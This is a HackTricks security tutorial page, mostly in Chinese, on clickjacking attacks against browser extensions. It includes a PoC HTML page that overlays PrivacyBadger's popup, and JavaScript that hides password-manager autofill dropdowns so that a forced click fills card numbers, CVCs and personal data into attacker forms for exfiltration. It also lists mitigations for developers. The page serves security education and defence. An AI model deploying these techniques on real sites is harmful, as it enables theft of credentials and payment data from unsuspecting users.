BrowExt - ClickJacking
Reading time: 12 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
本页将利用浏览器扩展中的 ClickJacking 漏洞。
如果你不知道 ClickJacking 是什么,请查看:
扩展包含文件 manifest.json
,该 JSON 文件有一个字段 web_accessible_resources
。这是 the Chrome docs 对此的说明:
这些资源随后可以通过网页上的 URL
chrome-extension://[PACKAGE ID]/[PATH]
访问,该 URL 可以通过extension.getURL method
生成。在允许列表中的资源会带有适当的 CORS 头,因此可以通过诸如 XHR 的机制访问。1
浏览器扩展中的 web_accessible_resources
不仅可以被网页访问;它们还以扩展自身的特权运行。这意味着它们具有以下能力:
- 更改扩展的状态
- 加载额外资源
- 在一定程度上与浏览器交互
然而,此功能带来了安全风险。如果 web_accessible_resources
中的资源具有任何重要功能,攻击者可能将此资源嵌入到外部网页中。访问该页面的毫不知情的用户可能无意中激活嵌入的资源。此类激活可能导致意外后果,具体取决于扩展资源的权限和能力。
PrivacyBadger 示例
在扩展 PrivacyBadger 中,发现一个漏洞,原因是 skin/
目录被声明为 web_accessible_resources
,如下所示(Check the original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
此配置导致了一个潜在的安全问题。具体来说,skin/popup.html
文件(当用户在浏览器中与 PrivacyBadger 图标交互时渲染)可以被嵌入到一个 iframe
中。该嵌入可以被利用来诱导用户无意点击 “Disable PrivacyBadger for this Website”。这样的操作会通过禁用 PrivacyBadger 保护来危及用户隐私,并可能使用户暴露于更多的跟踪。该利用的可视化演示可以在 ClickJacking 视频示例中查看:https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
为了解决此漏洞,采用了一个简单的解决方案:从 web_accessible_resources
列表中移除 /skin/*
。此更改有效降低了风险,确保 skin/
目录的内容无法通过 web-accessible 资源被访问或操控。
修复很简单:remove /skin/*
from the web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask 示例
A 关于 Metamask 中 ClickJacking 的一篇博客文章见此。在此情况下,Metamask 通过检查访问所用的协议是否为 https:
或 http:
(例如不是 chrome:
)来修复该漏洞:
.png)
Metamask extension 中修复的另一个 ClickJacking 问题是:当某个页面因为 “web_accessible_resources”: [“inpage.js”, “phishing.html”]
被怀疑为 phishing 时,用户能够 Click to whitelist。由于该页面易受 Clickjacking 攻击,攻击者可以滥用它:先显示正常内容诱使受害者在不注意的情况下点击以加入白名单,然后返回到将被列入白名单的 phishing 页面。
Steam Inventory Helper 示例
查看以下页面以了解如何将浏览器扩展中的 XSS 与 ClickJacking 漏洞链在一起:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
经典的 extension clickjacking 利用配置错误的 web_accessible_resources
将受特权的 HTML 嵌入 iframe 并诱导用户点击。一个较新的类别,DOM-based extension clickjacking,直接针对 password managers 注入到页面 DOM 的 autofill 下拉菜单,使用 CSS/DOM 技巧将其隐藏或遮挡,同时保持可被点击。一次被强制的点击就可能选择一个已存条目,并将敏感数据填入由攻击者控制的输入字段。
威胁模型
- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
- Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
- At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).
攻击流程(手动 autofill)
- 注入一个不可见但可聚焦的表单(login/PII/credit-card 字段)。
- 聚焦某个输入以唤出 extension 的 autofill 下拉菜单(靠近该字段)。
- 隐藏或遮挡 extension 的 UI,同时保持其可交互。
- 在被隐藏的下拉菜单下方对齐一个看起来合理的控件,诱导点击以选择某项。
- 从攻击者表单读取被填充的数值并外泄。
如何隐藏 autofill UI
- Extension element
- Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- 子元素位于 open ShadowRoot 内 (动态标签,隐藏内部 iframe):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- 父元素
- BODY/HTML opacity 技巧,用于使扩展 UI 在页面看起来正常时不可见(例如,截图背景):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Overlay
- Partial overlay: 遮挡除几像素外的所有内容,使 dropdown 保持可点击(确保攻击者 overlay 是 DOM 中最后一个且具有最大的 z-index,或使用 Top Layer)。
- Full overlay 使用 pointer-events:none,使点击穿透到隐藏的 dropdown;使用 Popover API 保持其持久:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
定位受害者点击
- 固定放置:将隐藏的下拉菜单放在看起来合理的控件下方,例如 “Accept cookies”、“Close” 或 CAPTCHA 复选框。
- 跟随鼠标:将聚焦的输入项移动到光标下方,使下拉菜单跟随它;定期重新聚焦,以便在任意位置单击一次即可选择一项:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
影响和场景
- Attacker-controlled site: 一次被迫点击就可能 exfiltrate 信用卡数据(number/expiry/CVC)和个人信息(姓名、电子邮件、电话、地址、出生日期 (DOB)),这些信息不受域范围限制。
- Trusted site with XSS/subdomain takeover/cache poisoning: 通过多次点击可窃取凭证(username/password)和 TOTP,因为许多管理器会跨相关子域/父域自动填充(例如
*.example.com
)。 - Passkeys: 如果 RP 不将 WebAuthn challenges 绑定到会话,XSS 可以拦截签名的 signed assertion;DOM-based clickjacking 隐藏 passkey 提示以诱使用户进行确认性点击。
限制
- 需要至少一次用户点击和良好的像素对齐(现实感强的覆盖层更容易诱发点击)。
- 自动锁定/注销会缩短可利用窗口;一些管理器在“锁定”状态下仍会 autofill。
Extension developer mitigations
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- Resist CSS tampering: prefer Closed Shadow DOM and monitor with
MutationObserver
for suspicious style changes on UI roots. - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable
pointer-events:none
, and useelementsFromPoint()
to detect occlusion; close UI if overlays exist. - Detect suspicious
<body>
/<html>
opacity or style changes both pre- and post-render. - For iframe-based issues: scope MV3
web_accessible_resources
matches
narrowly and avoid exposing HTML UIs; for unavoidable HTML, serveX-Frame-Options: DENY
orContent-Security-Policy: frame-ancestors 'none'
.
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。